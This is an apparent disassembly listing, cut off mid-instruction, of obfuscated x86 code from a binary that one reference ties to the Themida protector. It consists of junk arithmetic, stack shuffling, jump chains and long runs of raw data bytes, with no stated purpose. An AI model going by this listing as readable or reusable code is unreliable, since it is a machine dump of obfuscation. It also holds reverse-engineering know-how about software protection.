--------------------------------------------------------------------------- db 87h, 14h, 24h dd 48F545Ch, 7788E924h, 15AFFFFh, 0FEBE56D8h, 815DDE7Ah dd 7D2D63C6h, 6E6C13Ch, 573EE81h, 0F001390Fh, 389E2D5Eh dd 1C8B74E9h, 4C48124h, 68000000h, 76F8h, 0BE243489h, 156C34CAh dd 127E9h, 81D7F700h, 9E181FF7h, 0A7EA81C6h, 0E938255Eh dd 0FFFFA886h ; --------------------------------------------------------------------------- loc_552F5C: ; CODE XREF: sub_542C3C+104DFj push edx mov dh, 0 shl dh, 4 and dh, 40h add dh, 0EBh mov ah, dh pop edx jmp loc_5521FC ; --------------------------------------------------------------------------- dd 5877C381h, 0CB81082Ah, 5EA579E9h, 1E67C381h, 84680BBBh dd 89000041h, 0A2E92434h, 8B000000h, 0EB802424h, 7DC380E1h dd 7DEB80h, 7DC380C3h, 0FFC1EFE9h, 0E9595EFFh, 0FFFF4B9Dh dd 31240C33h, 0C33240Ch, 34FF5C24h, 24048B24h db 83h, 0C4h, 4 ; --------------------------------------------------------------------------- push ebp mov ebp, esp push edi mov edi, 7F6F1899h neg edi jmp loc_5515B7 ; --------------------------------------------------------------------------- db 89h dd 0E18951E3h, 0C85AE955h, 489FFFFh, 0E1895124h, 0FFDA83E9h dd 52C601FFh, 1B088DBAh, 0E9D62975h, 0FFFFAA85h, 0E327B2BAh dd 0B7CA8146h, 81215F78h, 501AFDF2h, 5AD00171h, 0FFCFF1E9h dd 14F751FFh, 51E95924h, 0E9FFFFFBh, 0FFFF3C5Eh, 0C335B5Ah dd 240C3124h, 5C240C33h, 9C2424D2h, 0FF5B71E9h, 0E9DE89FFh dd 0FFFFA58Dh, 4C481h, 48F0000h, 24248B24h, 0FF5D91E9h db 0FFh ; --------------------------------------------------------------------------- loc_553049: ; CODE XREF: sub_542C3C+4247j sub esi, eax add esi, 45FC4354h pop eax sub esp, 4 mov [esp+38h+var_38], edi mov edi, 0E807046Bh jmp loc_54A131 ; --------------------------------------------------------------------------- dw 14F7h dd 0F0D8E924h, 0E952FFFFh, 0FFFFEA5Ch, 4F4FC681h, 834E4249h dd 0EE83FFEEh, 92D8E901h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_553082: ; CODE XREF: sub_542C3C+F573j mov ebp, 20853CADh xor esi, ebp pop ebp jmp loc_54C8CC ; --------------------------------------------------------------------------- db 0D3h dd 0E99C2424h, 0FFFF3BE2h, 0E92C77FFh, 0FFFF3BDAh, 0AE9BA52h dd 2CE928B8h, 81FFFF42h, 0E733BC7h, 0E9CF0176h, 0FFFF88B3h dd 51240489h, 0FF6332E9h, 505A54FFh, 945FFB8h, 47632576h dd 0D0F7216Eh, 241CF750h, 51232D58h, 0D0F73081h, 166CB951h dd 0A368016Eh, 89000031h, 0B6BE2434h, 2179094Bh, 0D1F75EF1h dd 0F661F181h, 0FE9EE8Eh db 79h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5530FF: ; CODE XREF: sub_542C3C+ACABj push 3965h mov [esp+44h+var_44], edi push ebp push ebx mov ebx, 20C800B6h inc ebx and ebx, 620B7DD7h jmp loc_54DB6A ; --------------------------------------------------------------------------- loc_55311A: ; CODE XREF: sub_542C3C+93B4j push eax jmp loc_552F5C ; --------------------------------------------------------------------------- loc_553120: ; CODE XREF: sub_542C3C+5515j xor eax, 540750DDh xor eax, 43860321h jmp loc_54A378 ; --------------------------------------------------------------------------- loc_55312F: ; CODE XREF: sub_542C3C+C500j mov edx, 29C02776h sub [esp+2Ch+var_28], 6AFB7D3Fh sub [esp+2Ch+var_28], 1D6B75AEh sub [esp+2Ch+var_28], edx jmp loc_54DD33 ; --------------------------------------------------------------------------- db 0F7h, 0DFh, 81h dd 104385C7h, 8EFC169h, 0C7B7EF81h, 0FD01EB43h, 83243C8Bh dd 76E904C4h, 83FFFFEBh, 0A3E901C6h, 80FFFFF4h, 0D8008DC3h dd 83241C8Bh, 34FF04C4h, 2434FF24h, 0FFAC8EE9h, 46858FFh dd 8900006Eh, 2468243Ch, 54000030h, 5324048Fh, 4BBh, 245C0100h dd 58E95B04h, 1FFFFC4h, 11C381C3h, 577B5D17h, 0FFF4A9E9h db 0FFh ; --------------------------------------------------------------------------- loc_5531B9: ; CODE XREF: sub_542C3C+9783j sub eax, 0FFFFFFFFh jmp loc_54A25C ; --------------------------------------------------------------------------- db 1 dd 240C8BC8h, 5704C483h, 7E4E1DBFh, 51F7810Dh, 81178A25h dd 0A96B3DEFh, 0CC78139h, 477BEF69h, 1BEF8147h, 55D3A69h dd 37347A76h, 762DF801h, 8B37347Ah, 0C483243Ch, 74FF5004h dd 48B0424h, 6BC7E924h, 1489FFFFh, 4EC8124h, 89000000h dd 0E953240Ch, 0FFFFE598h, 42474FFh, 0FFF1A8E9h, 5A5CA5FFh dd 5A67F800h, 6CEBA500h, 6D71FAh, 9508EB00h, 0E621h, 0 dd 20300h, 200h, 100h, 0 dd 6CEBA500h, 0FAh, 4 dup(0) dd 554FAC00h, 55A89300h, 561D2F00h, 55CFC200h, 56332200h dd 55E39C00h, 5605EE00h, 56635D00h, 56503200h, 55D2EA00h dd 5603C700h, 55D60800h, 56429D00h, 55AC8200h, 55AD4A00h dd 55B82900h, 55410700h, 560F2E00h, 55F80100h, 55CA0300h dd 55A10000h, 55A59500h, 55D8C200h, 56814700h, 55DD2200h dd 55F5C300h, 5623C400h, 566F5200h, 561DBF00h, 55B24100h dd 554CB800h, 563BE000h, 554BBE00h, 55911B00h, 56671200h dd 56616B00h, 55D52700h, 55A9BC00h, 55C6FB00h, 55DC8F00h dd 55462900h, 56234D00h, 55AACF00h, 56146000h, 567B7E00h dd 5626E800h, 5545B800h, 56295600h, 557F3D00h, 5614A000h dd 55C12800h, 5663A800h, 565A4000h, 55FC3A00h, 55B35900h dd 5616A800h, 55D27700h, 56858D00h, 55D54900h, 55E3F200h dd 5627C300h, 563A5100h, 5638D600h, 564AD500h, 55CED200h dd 55888E00h, 55A54E00h, 56846200h, 55959C00h, 553E6900h dd 55A4E500h, 55703C00h, 55440600h, 55CAB400h, 5675B700h dd 555D2A00h, 56272D00h, 555E8B00h, 55F00100h, 55FC7C00h dd 5582EC00h, 56085D00h, 557EB600h, 55A16400h, 561E3700h dd 55865B00h, 553B9300h, 55DB1900h, 560FA600h, 55831000h dd 55F20100h, 56663E00h, 5635AB00h, 55678C00h, 559FFF00h dd 55F29E00h, 5611A200h, 5621F900h, 56182600h, 562F3800h dd 56068000h, 56799600h, 55A8A200h, 55D02A00h, 562B9B00h dd 564A4700h, 55C2F100h, 56348800h, 55CD5300h, 56132100h dd 5662B300h, 55C24F00h, 55AB6500h, 55413700h, 561D0E00h dd 55952000h, 55866900h, 559D6D00h, 55437500h, 554FBA00h dd 559D6300h, 560DF000h, 55F0D900h, 566B3300h, 556C0000h dd 56702C00h, 5548F400h, 558A1900h, 5581D100h, 55BF5200h dd 55BDF700h, 559F3C00h, 55D82700h, 55484800h, 5642D900h dd 55538800h, 56208000h, 559DEC00h, 56108E00h, 55470300h dd 5633E500h, 567A5800h, 56323400h, 55BBC200h, 56277600h dd 555C3900h, 55E9E600h, 55F1AB00h, 55E33B00h, 55B2C100h dd 5650B200h, 562CC400h, 55BF3D00h, 56850F00h, 55EEA600h dd 5618C800h, 55E2CC00h, 5619E700h, 55F46E00h, 55A39C00h dd 55995800h, 553FC200h, 55D65900h, 55E96000h, 55A4AD00h dd 55BD8800h, 558BD800h db 0 ; --------------------------------------------------------------------------- loc_553505: ; CODE XREF: Themida_:005A1795j pusha pushf cld call $+5 pop edi sub edi, 5E84968h mov eax, edi add edi, 5E84680h cmp eax, [edi+2Ch] jnz short loc_553523 jmp short loc_553536 ; --------------------------------------------------------------------------- loc_553523: ; CODE XREF: sub_542C3C+108E3j mov [edi+2Ch], eax mov ecx, 0A7h jmp short loc_553532 ; --------------------------------------------------------------------------- loc_55352D: ; CODE XREF: sub_542C3C+108F8j add [edi+ecx*4+40h], eax dec ecx loc_553532: ; CODE XREF: sub_542C3C+108EFj or ecx, ecx jnz short loc_55352D loc_553536: ; CODE XREF: sub_542C3C+108E5j mov esi, [esp+58h+var_34] mov ebx, esi add esi, eax mov ecx, 1 loc_553543: ; CODE XREF: sub_542C3C+1090Ej xor eax, eax lock cmpxchg [edi+30h], ecx jnz short loc_553543 loc_55354C: ; CODE XREF: sub_542C3C:loc_553E08j ; sub_542C3C+1146Dj ... lodsb jmp loc_55C68C ; --------------------------------------------------------------------------- aRsis db 'RéI˜',0 align 4 dd 4C381h, 1C870000h, 0B3ABE924h, 81470000h, 539C3AF7h dd 0E9FB2983h, 7D9Fh, 0A768E789h, 89000021h, 0A6E9242Ch dd 8100012Eh, 4C7h, 4C78100h, 0E9000000h, 0B3EAh ; --------------------------------------------------------------------------- loc_553594: ; CODE XREF: sub_542C3C+1B93Ej push ebx mov ebx, 7B97368Bh xor ebx, 573D0422h push edi jmp loc_5616DF ; --------------------------------------------------------------------------- loc_5535A6: ; CODE XREF: sub_542C3C+1188Bj mov esi, 21433FEh mov edx, esi pop esi jmp loc_55C32E ; --------------------------------------------------------------------------- db 52h dd 0D14BFFBAh, 49BD5529h, 10AA776h, 0C2815DEAh, 6CB039A7h dd 135AEA81h, 0C281122Fh, 0A7D12E88h, 15AD729h, 8EBB53C7h dd 81499614h, 0A763CBEBh, 0E376E947h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5535EA: ; CODE XREF: sub_542C3C+1B26Cj pop esi add esi, eax pop eax add esi, 4 xchg esi, [esp+54h+var_54] mov esp, [esp+54h+var_54] jmp loc_55C042 ; --------------------------------------------------------------------------- db 81h dd 0EC5850C7h, 3B3E963h, 0F6680001h, 89000037h, 0CE9242Ch dd 500000D0h, 0BE69D8B8h, 5CA12D62h, 0C101E71Fh, 81F10158h dd 9F0D37E9h, 0AEC1817Bh, 8B0B9B20h, 0C4812434h, 4, 4C181h dd 0C9E90000h, 890000ACh, 4C181E1h, 68000000h, 5BCFh, 0BE243489h dd 50BC3DB9h, 242568h, 24148900h, 0A51A01BAh, 5AD63151h dd 0F708EEC1h, 0F68146DEh, 0FFFEE6DEh, 314AC181h, 0F1296630h dd 314AE981h, 875E6630h, 895C240Ch, 0E389241Ch, 0E904EC83h dd 14258h, 4B951h, 3DE90000h db 3Eh, 1, 0 ; --------------------------------------------------------------------------- loc_5536A3: ; CODE XREF: sub_542C3C+24FADj add esp, 4 push ebx mov ebx, eax mov ebp, ebx mov ebx, [esp+54h+var_54] push 3037h jmp loc_55FC6C ; --------------------------------------------------------------------------- loc_5536BB: ; CODE XREF: sub_542C3C+1CDC8j push ecx mov ecx, 0DB544A6h shl ecx, 7 or ecx, 26A92DCBh or ecx, 4CB90B58h shl ecx, 4 dec ecx xor ecx, 0EBB7FDABh add ebx, ecx pop ecx push ebp jmp loc_567CFF ; --------------------------------------------------------------------------- db 88h dd 5BFC88CFh, 34FFE688h, 0C4815824h, 4, 0F0885051h, 20E9C188h dd 830000DBh, 9C6804C4h, 89000000h, 0EC81241Ch, 4, 52240489h dd 80C4B753h, 8851F6C7h, 59EA88FDh, 1507DE9h db 0 ; --------------------------------------------------------------------------- loc_553725: ; CODE XREF: sub_542C3C+1E0A3j add esp, 4 jmp loc_55782D ; --------------------------------------------------------------------------- db 83h, 0ECh, 4 dd 0D25BE9h, 4C48100h, 0E9000000h, 266Dh, 0CD5E2B05h, 1DF2D6Ah dd 0D3E92EEBh, 83000105h, 148704EAh, 34895C24h, 34FF5924h dd 2434FF24h, 0E189515Eh, 4C181h, 0C1830000h, 240C8704h dd 4EC815Ch, 89000000h, 5954240Ch, 5B7ABB53h, 0EB810BE8h dd 7A9323F3h, 3783EB81h, 0D9019155h, 4BF575Bh, 1000000h dd 20D5E9F9h, 0D6890001h, 40E9595Ah, 5800012Ah, 0EDA2E9h db 0 ; --------------------------------------------------------------------------- loc_5537AD: ; CODE XREF: sub_542C3C+14737j sub ecx, 5D1E4AFBh jmp loc_559C5B ; --------------------------------------------------------------------------- dd 4B5B3ABDh, 81D5F704h, 11ACA2C5h, 84B8E936h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5537CA: ; CODE XREF: sub_542C3C+247E0j push 835h mov [esp+5Ch+var_5C], ecx push [esp+5Ch+var_58] pop ecx pop [esp+5Ch+var_5C] push ecx not [esp+5Ch+var_5C] mov ecx, [esp+5Ch+var_5C] add esp, 4 xor [esp+58h+var_58], ecx xor ecx, [esp+58h+var_58] xor [esp+58h+var_58], ecx jmp loc_55A097 ; --------------------------------------------------------------------------- dw 48Fh dd 24048324h, 2434FF04h, 435FE9h, 242C3300h, 0E9242C31h dd 6228h, 83242C8Bh, 0E58104C4h, 16A054EAh, 0EFA0C581h dd 0EE29FD7Fh, 2434335Dh, 33243431h, 248B2434h, 66546624h dd 0E924048Fh, 0BFD8h ; --------------------------------------------------------------------------- loc_553838: ; CODE XREF: sub_542C3C+20D52j mov edx, 4 add ecx, 61DA5AC6h sub ecx, edx sub ecx, 61DA5AC6h pop edx xchg ecx, [esp+54h+var_54] jmp loc_55B288 ; --------------------------------------------------------------------------- loc_553854: ; CODE XREF: sub_542C3C+1FBFBj xor ecx, esi pop esi and eax, ecx mov ecx, [esp+50h+var_50] add esp, 4 shr eax, 0Bh xor ecx, eax jmp loc_566453 ; --------------------------------------------------------------------------- dd 5404EC83h, 8264E9h db 0 ; --------------------------------------------------------------------------- loc_553875: ; CODE XREF: sub_542C3C+208D9j push 36930ADCh mov ebx, [esp+50h+var_50] add esp, 4 sub ebx, 1 not ebx xor ebx, 900CC49Dh mov ebp, ebx pop ebx add eax, 3C756066h add eax, ebp push ebx mov ebx, 56826A49h and ebx, 521051B1h jmp loc_561205 ; --------------------------------------------------------------------------- db 89h, 0DEh, 5Bh dd 2610F681h, 0E9524007h, 0BFB1h, 148BD629h, 4C48324h dd 2474FF56h, 48F5E04h, 8F545C24h, 0BB532404h, 4, 4245C01h dd 0FC6EE95Bh, 0C329FFFFh, 43B8C381h, 81510B52h, 4ECh dd 24148900h, 3B358A68h, 0DAF75A28h, 544BF281h, 814A6DF3h dd 0BBD932C2h, 0FFD1895Ah, 0E95A2434h, 3179h, 8904EC83h dd 0E9522404h, 3714h ; --------------------------------------------------------------------------- loc_55391C: ; CODE XREF: sub_542C3C+17523j pop ecx jmp loc_557BA8 ; --------------------------------------------------------------------------- dw 0ED81h dd 45792BD1h, 0E924148Bh, 0C9DEh, 0E924048Fh, 149E5h, 0F581EDD1h dd 75E65C46h, 89EF8957h, 525D5FFEh, 0A68AE9h db 0 ; --------------------------------------------------------------------------- loc_55394D: ; CODE XREF: sub_542C3C+13BDAj mov dl, ah mov bl, dl pop edx pop eax mov ecx, [esp+40h+var_40] jmp loc_55A2FA ; --------------------------------------------------------------------------- aYaSil db '(ËY€ÃÝéël',0 align 2 loc_553966: ; CODE XREF: sub_542C3C+1C46Cj push ecx jmp loc_568439 ; --------------------------------------------------------------------------- dd 4BD55h, 0E9010000h, 240C875Dh, 3B0DE95Ch db 2 dup(0) ; --------------------------------------------------------------------------- loc_55397E: ; CODE XREF: sub_542C3C+16E27j and ecx, esi push [esp+44h+var_44] pop esi sub esp, 4 jmp loc_55B0E8 ; --------------------------------------------------------------------------- aBOgS db 'Âog',9,0Bh,'é~½',0 align 2 db '¾',0 a1idsi db '1idéˆ',0Dh,0 align 4 loc_5539A4: ; CODE XREF: sub_542C3C+1267Ej add ebp, edi pop edi sub ebp, 4 xor ebp, [esp+44h+var_44] xor [esp+44h+var_44], ebp xor ebp, [esp+44h+var_44] pop esp mov [esp+40h+var_40], ebp push 3632h mov [esp+44h+var_44], ebx jmp loc_558BAF ; --------------------------------------------------------------------------- a0SH db '0Ãé¶H',0 db 0 ; --------------------------------------------------------------------------- loc_5539CB: ; CODE XREF: sub_542C3C+18939j pop eax or ecx, ebx pop ebx push edx jmp loc_559B58 ; --------------------------------------------------------------------------- db 1, 0FBh, 81h dd 8E6793EBh, 243C8B02h, 6804C483h, 6AC9h, 53242C89h, 32E9E389h dd 0D30000B3h, 0E99C242Ch, 0FFFFFB50h, 2A11E95Ch, 2C8B0001h dd 4C48324h, 12509E9h db 0 ; --------------------------------------------------------------------------- loc_553A0D: ; CODE XREF: sub_542C3C+19791j mov [esp+40h+var_40], edi mov edi, 0E9C8487h sub eax, 73085DAFh sub eax, edi push 2CAh mov [esp+44h+var_44], edx mov edx, 73085DAFh jmp loc_5577C7 ; --------------------------------------------------------------------------- loc_553A2E: ; CODE XREF: sub_542C3C+1D06Fj pop esp sub esp, 4 mov [esp+44h+var_44], esp add [esp+44h+var_44], 4 jmp loc_55FB42 ; --------------------------------------------------------------------------- loc_553A41: ; CODE XREF: sub_542C3C+1CE53j pop edx mov edi, [esp+40h+var_40] add esp, 4 sub esp, 4 mov [esp+40h+var_40], ebx mov ebx, esp add ebx, 4 sub ebx, 4 xchg ebx, [esp+40h+var_40] mov esp, [esp+40h+var_40] mov [esp+40h+var_40], ecx mov ecx, 24h add ecx, edi add [ecx], ebp jmp loc_566839 ; --------------------------------------------------------------------------- db 8Fh dd 0EBE92404h db 37h, 1, 0 ; --------------------------------------------------------------------------- loc_553A7B: ; CODE XREF: sub_542C3C+23053j pop esp not edx jmp loc_555C66 ; --------------------------------------------------------------------------- db 83h dd 7AE904C4h db 2, 2 dup(0) ; --------------------------------------------------------------------------- loc_553A8B: ; CODE XREF: sub_542C3C+200F5j or eax, eax jz loc_5552B1 push 1B2Fh mov [esp+40h+var_40], ebx push edi mov edi, esp add edi, 4 sub edi, 4 xchg edi, [esp+44h+var_44] pop esp mov [esp+40h+var_40], eax push 28763615h pop eax jmp loc_564138 ; --------------------------------------------------------------------------- loc_553ABC: ; CODE XREF: sub_542C3C+25821j xor ebp, 27AE0A88h jmp loc_55AD83 ; --------------------------------------------------------------------------- db 2Dh dd 605B0F75h, 1F6ABA52h, 0D001680Bh, 2DD0295Ah, 680B1F6Ah dd 61B9BF57h, 0F78154A9h, 34F26ECCh, 917CE9h, 4C48100h dd 33000000h, 1C31241Ch, 241C3324h, 48B665Ch, 4EC8324h dd 208FE9h, 2474FF00h, 2434FF04h, 1C7E95Fh, 0D7010001h dd 243C335Ah, 3F23E9h, 241C8900h, 0CA2CE4BBh, 36B0E96Bh dd 14870000h, 0F5E95C24h, 8000013Fh, 0EE00D6EDh, 83240C8Bh dd 685304C4h, 0D4Fh, 0B1240C89h, 95E95167h db 46h, 1, 0 ; --------------------------------------------------------------------------- loc_553B53: ; CODE XREF: sub_542C3C+1BAD4j and ecx, eax mov eax, [esp+40h+var_40] push edi push esp pop edi push 3E73h jmp loc_55953E ; --------------------------------------------------------------------------- loc_553B65: ; CODE XREF: sub_542C3C+148BDj shl ebp, 2 xor ebp, 0D22DDF10h mov edx, ebp pop ebp sub edx, 57C75D26h add edx, edi push ebx mov ebx, 26CF566Eh push edi mov edi, 0FFFFFFFFh sub ebx, edi jmp loc_554EF2 ; --------------------------------------------------------------------------- loc_553B8C: ; CODE XREF: sub_542C3C+19AA2j not edi jmp loc_55DA27 ; --------------------------------------------------------------------------- db 66h dd 57240C8Bh, 0D1A8E9h db 0 ; --------------------------------------------------------------------------- loc_553B9D: ; CODE XREF: sub_542C3C+15EA7j pop edi push esi jmp loc_5592FF ; --------------------------------------------------------------------------- dd 7F13BA52h, 0D7210092h, 40B2E95Ah, 0C4830000h, 0B8BA5204h dd 29335478h, 3C8B5AD0h, 5FE95324h, 8B000015h, 54572404h dd 64E9505Fh, 0FF0000EEh, 5A042474h, 0E924048Fh, 1394Ch dd 24148B66h, 4EC81h, 0C890000h, 299CE924h, 0E7890001h dd 4C781h, 0EF830000h, 243C8704h, 243C895Ch, 2D5868h, 241C8900h dd 0E904EC83h, 5468h ; --------------------------------------------------------------------------- loc_553C14: ; CODE XREF: sub_542C3C+115BAj pop edi add edi, 4 sub edi, 4 push edi push [esp+4Ch+var_48] jmp loc_55B430 ; --------------------------------------------------------------------------- dd 0DDE9535Bh db 0Ch, 2 dup(0) ; --------------------------------------------------------------------------- loc_553C2F: ; CODE XREF: sub_542C3C+21FD8j sub eax, 3B92BD05h jmp loc_555D07 ; --------------------------------------------------------------------------- loc_553C39: ; CODE XREF: sub_542C3C+221CAj xor ebp, [esp+50h+var_50] xor [esp+50h+var_50], ebp xor ebp, [esp+50h+var_50] mov esp, [esp+50h+var_50] shr ecx, 7 sub esp, 4 mov [esp+54h+var_54], ebx push 8EEh mov [esp+58h+var_58], eax jmp loc_55FAEA ; --------------------------------------------------------------------------- loc_553C5E: ; CODE XREF: sub_542C3C+21C78j push ebx mov ebx, 493B7F7Eh push 31DFh mov [esp+60h+var_60], esi push 7F861A24h jmp loc_55DAB9 ; --------------------------------------------------------------------------- loc_553C76: ; CODE XREF: sub_542C3C+160EFj xor eax, 33887C16h jmp loc_56447D ; --------------------------------------------------------------------------- loc_553C80: ; CODE XREF: sub_542C3C+24859j neg esi jmp loc_559591 ; --------------------------------------------------------------------------- loc_553C87: ; CODE XREF: sub_542C3C+1C804j sub ebp, 4 xchg ebp, [esp+64h+var_64] pop esp jmp loc_55D799 ; --------------------------------------------------------------------------- dw 2C89h dd 81E58924h, 4C5h, 6A2CE900h, 1C890000h, 164E6824h, 7DE919AEh dd 51000050h, 156FB9B9h, 97BE562Bh, 0E9559506h, 124CFh dd 0C581E589h, 4, 8704C583h, 8E9242Ch, 54000054h, 4BD5558h dd 52000000h, 6FCAE9h, 0E8C14000h, 3228E906h db 1, 0 ; --------------------------------------------------------------------------- loc_553CEE: ; CODE XREF: sub_542C3C+11698j sub ebx, edi pop edi xchg esi, ebx not esi xchg esi, ebx inc ebx push eax mov eax, 4DEB6B27h xor ebx, eax jmp loc_55FB77 ; --------------------------------------------------------------------------- db 81h, 0EBh, 0CCh dd 811CBF43h, 2B63B3C3h, 81D30179h, 2B63B3EBh, 0CCC38179h dd 0FF1CBF43h, 3CE92434h, 80000102h, 0CF2091F1h, 99C78059h dd 0B7E9F988h, 8F0000B4h, 248B2404h, 243CD324h, 0F806E99Ch dd 34FFFFFFh, 5E38E924h, 4890000h, 0E1895124h, 4B850h dd 0C1010000h, 4E98158h, 87000000h, 248B240Ch, 240C8924h dd 669AB652h, 66063468h, 0B3241C89h, 66DD8863h, 51241C8Bh dd 0C181E189h, 4, 2C181h, 0C870000h, 0F5285C24h, 0C0EDD05Ah dd 0EDC006EDh, 3EDC004h, 8038CD80h, 53527BEDh, 0DE88EB88h dd 5AF4885Bh, 68240C8Bh, 3C3h, 89243489h, 4C681E6h, 83000000h dd 4DE904C6h db 3, 2 dup(0) ; --------------------------------------------------------------------------- loc_553DCB: ; CODE XREF: sub_542C3C+1A4C1j mov ebx, 25092B07h push 59B5h mov [esp+64h+var_64], ebx not [esp+64h+var_64] pop ebx push eax mov eax, 0DAF6D4F7h sub ebx, eax pop eax mov edx, ebx mov ebx, [esp+60h+var_60] push ebx mov ebx, esp push esi mov esi, 46AC66EBh sub esi, 4F3D2A13h or esi, 23731115h shl esi, 8 dec esi jmp loc_557E56 ; --------------------------------------------------------------------------- loc_553E08: ; CODE XREF: sub_542C3C+2521Bj jmp loc_55354C ; --------------------------------------------------------------------------- db 81h, 0ECh, 4 dd 89000000h, 0DEE9242Ch db 0F9h, 2 dup(0) ; --------------------------------------------------------------------------- loc_553E1B: ; CODE XREF: sub_542C3C+1C0C3j xor ecx, 3F1DE677h sub edx, 73CA4F1Bh add edx, 653659C2h add edx, 2F7025FDh add edx, ecx sub edx, 2F7025FDh sub edx, 653659C2h jmp loc_5645FE ; --------------------------------------------------------------------------- dw 0C381h dd 36B5D1Dh, 0EC09F381h, 0D9295A71h, 2C87515Bh, 87D5F724h dd 6859242Ch, 5C4h, 88FFE9h, 0C8B6600h, 0C4E95324h, 81000121h dd 0D637DCEAh, 8F51E9C0h, 3C890000h, 10CFBF24h, 0C28148D2h dd 522546B6h, 0EA81FA01h, 522546B6h, 83243C8Bh, 0E95F04C4h dd 0FFFFF6ACh, 81E68956h, 4C6h, 4C68100h, 87000000h, 515C2434h dd 4B9h, 59C80100h, 0E904C083h, 0E59Dh, 312EBA52h, 66E94A90h db 25h, 1, 0 ; --------------------------------------------------------------------------- loc_553ECF: ; CODE XREF: sub_542C3C+1A9C7j mov [esp+68h+var_68], ecx push eax mov eax, 6F4E2E09h mov ecx, 0D32DEEFh add ecx, eax pop eax jmp loc_555F9A ; --------------------------------------------------------------------------- db 89h, 14h, 24h dd 0FE20E951h, 14890000h, 4EC8124h, 0E9000000h, 4DBFh ; --------------------------------------------------------------------------- loc_553EFC: ; CODE XREF: sub_542C3C+1FEE4j push edi push esp pop edi add edi, 4 sub edi, 4 push edi jmp loc_56223B ; --------------------------------------------------------------------------- db 68h, 9Ch, 67h dd 4890000h, 5E08924h, 4, 7787BA52h, 0E2C12315h, 4EC8106h dd 89000000h, 0EC832434h, 24148904h, 49360EBAh, 0F7424A28h dd 0A3F281DAh, 42400138h, 0E9AEF281h, 0D689F03Fh, 5124148Bh dd 1A8EE9h, 66EF8100h, 0C126B130h, 534F08EFh, 0F72042BBh dd 4CF3815Ch, 0E92E5D15h, 7C22h, 0DFE9D001h, 540000D8h dd 40558h, 5E90000h, 57000097h, 6D4879BFh, 0FFD9E962h dd 0EC830000h, 243C8904h, 14A1E956h db 1, 0 ; --------------------------------------------------------------------------- loc_553F9E: ; CODE XREF: sub_542C3C+1E298j push 5B83h mov [esp+74h+var_74], ebx pop ecx push ecx add [esp+74h+var_74], 596422Dh jmp loc_559E63 ; --------------------------------------------------------------------------- dd 55BC381h, 0D15E7BEEh, 6120E9E3h, 77FF0000h, 58669D1Ch dd 9C240410h, 0FFF57BE9h db 0FFh ; --------------------------------------------------------------------------- loc_553FD1: ; CODE XREF: sub_542C3C+2262Aj pop ebx jmp loc_562D5A ; --------------------------------------------------------------------------- loc_553FD7: ; CODE XREF: sub_542C3C+1771Cj jnz loc_565D2E sub esp, 4 mov [esp+74h+var_74], eax mov eax, 20h sub eax, 72D90883h jmp loc_566C8B ; --------------------------------------------------------------------------- db 0F6h, 0DCh, 0F6h dd 3EB551DCh, 0C0F7F580h, 0F58003EDh, 8DF580C9h, 0C471E9h dd 81FD0100h, 1B4D55EDh, 8AED8172h, 81410D0Bh, 0B836AEEDh dd 0BA525F2Dh, 290434E1h, 8106E2C1h, 701B65F2h, 0C9CA8111h dd 5169E043h, 12806E9h db 0 ; --------------------------------------------------------------------------- loc_55403D: ; CODE XREF: sub_542C3C+1615Dj mov esp, [esp+74h+var_74] push edi push 800h mov edi, [esp+7Ch+var_7C] push ecx jmp loc_555C17 ; --------------------------------------------------------------------------- db 89h dd 0D682404h, 5400001Dh, 8324048Fh, 148904ECh, 4EC8124h dd 89000000h, 1568242Ch, 8B060C53h, 0C483242Ch, 0D79EE904h dd 0F0290000h, 8D09422Dh, 0CEF6E93Eh, 0D8000000h, 66535B66h dd 8885B050h, 525866C3h, 0E581E9h db 0 ; --------------------------------------------------------------------------- loc_554099: ; CODE XREF: sub_542C3C+116CDj push esi push [esp+84h+var_80] pop esi pop [esp+84h+var_84] pop esp bts word ptr [esp+7Ch+var_7C], ax pushf jmp loc_55354C ; --------------------------------------------------------------------------- dw 4B8h dd 51000000h, 0FE21E9h, 246C8100h, 7A14FB04h, 246C8165h dd 3B6D8704h, 90AE906h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5540CE: ; CODE XREF: sub_542C3C+20AC2j mov eax, [esp+80h+var_80] add esp, 4 add ebp, edi push [esp+7Ch+var_7C] mov edi, [esp+80h+var_80] add esp, 4 add esp, 4 add ebp, 2 sub esp, 4 jmp loc_55BCC5 ; --------------------------------------------------------------------------- db 48h, 40h, 2Dh dd 0C920C181h, 5E9C631h, 810000F9h, 4ECh, 24148900h, 0E952C289h dd 4386h, 0E9243487h, 13966h ; --------------------------------------------------------------------------- loc_554120: ; CODE XREF: sub_542C3C+17109j add esp, 4 jmp loc_5667BC ; --------------------------------------------------------------------------- dd 8B240C87h, 4D32424h, 15E99C24h, 66FFFFF4h, 5524048Bh dd 83525D54h, 92E904ECh db 13h, 2 dup(0) ; --------------------------------------------------------------------------- loc_554147: ; CODE XREF: sub_542C3C+152FCj push edi push 68547AB2h pop edi sub edi, 3564395h add edi, 12CF5226h or edi, 5B9C1549h add edi, 0B36FD45Ah mov ecx, edi pop edi add esi, 7FBA1A01h sub esi, ecx jmp loc_5597BE ; --------------------------------------------------------------------------- dw 352Dh dd 5B24C307h, 0E6C68h, 241C8900h, 677E34BBh, 38F06871h dd 3C890000h, 0AC685324h, 0E904B037h, 5424h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp+7Ch+var_7C] pop esp mov [esp+78h+var_78], ebx mov ebx, 0C503B2Ch add eax, 52A2C3Ch sub eax, ebx jmp loc_55FD5A ; --------------------------------------------------------------------------- dd 0B4E95257h db 32h, 1, 0 ; --------------------------------------------------------------------------- loc_5541C7: ; CODE XREF: sub_542C3C+1EC9Ej add esp, 4 add ebp, 68034AF3h add ebp, 873792C5h sub [edi+24h], ebp mov ebp, [esp+74h+var_74] add esp, 4 loc_5541DF: ; CODE XREF: sub_542C3C+19BF5j push 507Bh mov [esp+74h+var_74], ebx sub [esp+74h+var_74], 596031B9h pop eax sub esp, 4 mov [esp+74h+var_74], edi push esp jmp loc_553C14 ; --------------------------------------------------------------------------- dd offset dword_4D4218+2950h align 10h dd 24048F54h, 4240481h, 0E9000000h, 0CFA1h, 148B5952h dd 0E0895024h, 405h, 4EC8300h, 0BF243C89h, 4, 5478B805h dd 0A37DE933h db 2 dup(0) ; --------------------------------------------------------------------------- loc_554232: ; CODE XREF: sub_542C3C+14C63j add esi, 5D487572h add esi, 